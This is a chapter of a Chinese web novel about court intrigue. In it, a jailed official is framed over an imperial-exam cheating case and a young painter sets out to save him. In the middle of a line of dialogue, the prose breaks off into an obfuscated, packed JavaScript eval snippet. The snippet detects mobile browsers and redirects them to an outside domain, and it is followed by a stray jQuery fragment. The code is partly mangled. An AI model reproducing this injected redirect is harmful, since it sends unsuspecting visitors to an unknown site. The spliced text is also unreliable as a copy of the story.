没过一会儿,那个守卫就提着钥匙,打开了对面的监牢大门,带着陆景明走了出来。 陆景明径直走到了贺禹的监牢面前,那个守卫低声提醒道: “快点说,一会儿就要来换班了。” 说完,那人便站在了不远处,看着像是去放风。 贺禹正奇怪,就听见陆景明道:“贺兄,你还好吗?” 贺禹一听这话就来气,被人大半夜从梦里面揪出来,还被丢进这阴冷恶臭的大牢,能好哪儿去?! 贺禹没有说话,偏过头不想理他。 陆景明又说道:“你放心,这只是我们计划里的一环而已,接下来你就按照我说的去做,完全不必担忧。” 贺禹冷哼一声:“想诓我?你未免也太小瞧我了!” 他扭过头,站起来用手死死抓住监牢的栏杆,眼睛里面透着疯狂: “我告诉你,你休想从这件事里面逃出去,我死也要拉上你!” 陆景明却是不逃不避,依旧是平静地看着贺禹: “你信不信由你,看到那个守卫没有?” 他指了指刚才带他出来的守卫:“看到他的配饰没有?伍家的黑铁军,认识吧?” 贺禹没好气地望了一眼,看着那盔甲的式样还有腰间黑铁牌,的确是黑铁军没错,他皱了皱眉:“那又怎样?” 陆景明道:“这次的计划是二殿下和伍将军特意嘱咐的,我当初没有告诉你,就是担心你说漏了嘴。” “蜡烛被发现本就是意料之中,伍将军昨夜特意遣人来说,让我们都说不知此事,只是按照厉思远大人的吩咐办事。” “这次被抓起来的一切,都在伍将军的意料之中,所以我们只管配合便是,等到事成以后,伍将军会想办法将我们放出去。” “他承诺,日后会给我们官职,这也是为什么当初我把你拉进来,你不会一直想当个杂役吧?” “你以为我会和伍熹微说亲,真的是因为伍熹微对我用情至深么?用脑子好好想想吧。” 不远处,那个守卫走了过来:“喂,时间到了,快回去。” 陆景明又深深看了一直沉默不语的贺禹一眼: “我话就说到这里,若是你不配合,伍家也有的是方法达到他们想要的效果,到时候你会怎么样,我可就帮不了你了。” 说完,他不等贺禹再说些什么,跟着那守卫又回到了监牢里面。 贺禹就站在原地,看着陆景明和守卫熟络地搭话,陷入了沉思。 各个案子的嫌疑人都是分开审讯,所以也是分开关押,目的就是为了让他们不能串供。 但是……那守卫却冒着这么大的风险来帮陆景明,他当然是不相信陆景明有这样的手段,唯一的可能,就是他背后有更大的势力。 伍家么…… 贺禹垂下眼,紧紧攥住衣袖。 或许伍家的话,真的可以…… * 翌日,震惊东华国上下的科举舞弊案在刑部正式开启审讯。 在科举专用的烛火里面竟然发现了舞弊用的纸条,这可不是一件小事。 明帝很是注重德贤用人,所以听闻此事后勃然大怒,责令刑部将这件事彻查到底。 厉思远虽然是发现这件事并呈报明帝的人,但作为负责整场科举考试的官员,也要接受例行讯问。 所以这一整天,他都不在大理寺。 敛烟照例打扫院子,修剪花枝,擦洗地面,一大早上起来便忙活不停,晚饭后还同邱容和黄莹莹坐在一起聊天,等着厉思远回来。 可是一直等到夜幕低垂,厉思远桌上的饭菜也是热了又热,依旧不见人回来。 敛烟在偏房坐不住了,推开门的时候就看到邱容和山平站在门口,正在低声说着什么,脸上布满了愁容。 敛烟心中升起一股不好的预感,走上前去:“大人呢?怎么还没回来?” 邱容抬起头,敛烟就看到大大的土豆脑袋竟然红了眼眶,心里一沉,看向尚且冷静的山平: “大人出事了?” 山平抿着唇,有些沉重地点点头: “大人……被陛下下令关进了天牢等候发落。” 敛烟呼吸一滞,一时间有些手足无措: “怎么会这样……说、说是什么原因了么?” “来报信的是禁卫军统领,说陛下自有定夺……” 山平还没有说完,邱容就带着哭腔打断了他:“陛下甚至让刑部的王守大人代行大理寺卿职权!!” “完了啊全完了!大人可怎么办啊——!” “代行……”敛烟喃喃开口。 “代行!意思就是大人可能大理寺卿的位置都不保住了!”邱容带着哭腔几乎是哭喊出来的:“你、你们说,大人是不是、是不是要被革职啊……” 山平也皱紧眉头,如今看来,革职倒还好说,怕的就是陛下一怒之下,就…… “怎么办?”山平忍不住看向敛烟,他不知道为什么,几乎是下意识想要问问眼前这个小画师有什么办法。 敛烟勉强稳住情绪,她不知道为什么自己心中如此不安,是因为厉思远答应科举结束后就去永昌山调查吗? 如今她来大理寺的目标已经达成,自己也可以去永昌山调查一二,甚至可以顺路去找母亲和弟弟。 可是……她不能。 厉思远那样好的人,她不能这样抛弃他。 她深吸一口气:“近期,大人在调查的案子不多,一直在忙科考的事情,前段时间的科举舞弊案你们也知道了,很可能……是因为这件事。” “可是这件事和大人没关系啊,还是大人亲自将证据呈给陛下的。” 山平皱着眉,觉得这件事不太可能,毕竟没有人会故意将自己做的事情暴露出来,这不是自投罗网么? 敛烟摇摇头:“我觉得,当初那些人将试题放在烛火里,本身就是想要让大人遭受非议,如今被大人发现而暴露,回过头来陷害大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282172|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人也说不准。” 山平沉默了一下,觉得敛烟说的不无道理:“那我们现在怎么办?” “……”敛烟也皱紧眉头,夜风徐徐吹过大理寺庭院,寂静无声。 是啊,怎么办呢? 她和邱容身份低微,进宫都做不到。 而山平作为潜麟卫之首,也要听命于陛下,如今他出宫报信都已经是违反陛下的旨意,更别说去替厉思远求情了。 如今能进宫面圣的,只剩下一个人。 “舒子野。”敛烟笃定开口。 “可是,就算是舒小公子也……”山平摇摇头:“他虽然是京城第一世家的小公子,但是在家中并不受宠,可能很难面圣。” “不。”敛烟沉声道:“我不是让他带我去见陛下。” 说完,她转身走进房间里翻找起来,邱容和山平对视一眼,也亦步亦趋跟了进去。 只见敛烟在房间里先是找到一件斗篷披在身上,宽大的兜帽将她巴掌大的脸严严实实遮住,随后她提起了一盏灯笼。 那是厉思远送给她的——确切的说,大理寺上到司主下到杂役都有一盏。 但唯独她的,是一盏精致的兔儿灯,红红的眼睛,长长的耳朵,很是可爱。 “你什么意思?不去面圣的话,我们该怎么把大人救出来?” 山平还没说话,就听见邱容急急开口,他刚才光顾着哭,现在终于缓过来神,急吼吼就劈头盖脸说道: “现在谁都没有用,陛下亲自下旨把大人关进大牢里,以前从来都没有过,可见陛下有多生气!” “就连当初大人忤逆陛下,非要替敛府讨公道的时候,也只是被陛下硬生生打了三十鞭子,也没有被关进大牢里吃苦!” “所以只有陛下才……” “打鞭子?” 敛烟骤然拔高的声音,让邱容一愣,她向来笑嘻嘻的,从来没有这么说过话,倒是让他一时之间不知道说什么。 “你说,大人身上的鞭痕,是因为替敛家讨公道,被打出来的?” 敛烟又问了一遍。 邱容不知道她怎么忽然把话题跳到这里来的,又见她问的急切,只能点点头: “是啊,你来这么久了,也知道大人爱慕敛家小姐吧?就是因为她,让大人吃了不少苦头呢……” “邱容,不要胡说。”山平在旁边打断了邱容:“大人都说过,这些事情都是他心甘情愿,你怎么可以埋怨敛小姐?要是让大人知道,你免不了受罚。” 邱容垂下头,不满地碎碎念。 敛烟则愣愣地站在原地,低头去看手里的那盏漂亮的兔儿灯。 之前在伺候厉思远药浴的时候,她就看到了他背上交错骇人的鞭痕,她还在疑惑,陛下和太后看起来很是疼爱厉思远,怎么会允许有人将他打成这个样子? 竟然是因为……因为自己家里的案子? 再想到厉思远说爱慕自己的时候,那双黑珍珠般深邃的眼眸中透出的光,敛烟的心忍不住漏跳了一拍。 我是不是……不应该骗他? “所以,你现在要去找舒小公子,是想让他带你去找谁?” 山平的声音把敛烟思绪拉了回来,她将斗篷上的兜帽戴好,眼神中闪烁着坚定的光,认认真真道: “我要去找太后娘娘。” “我一定要把大人,救出来。”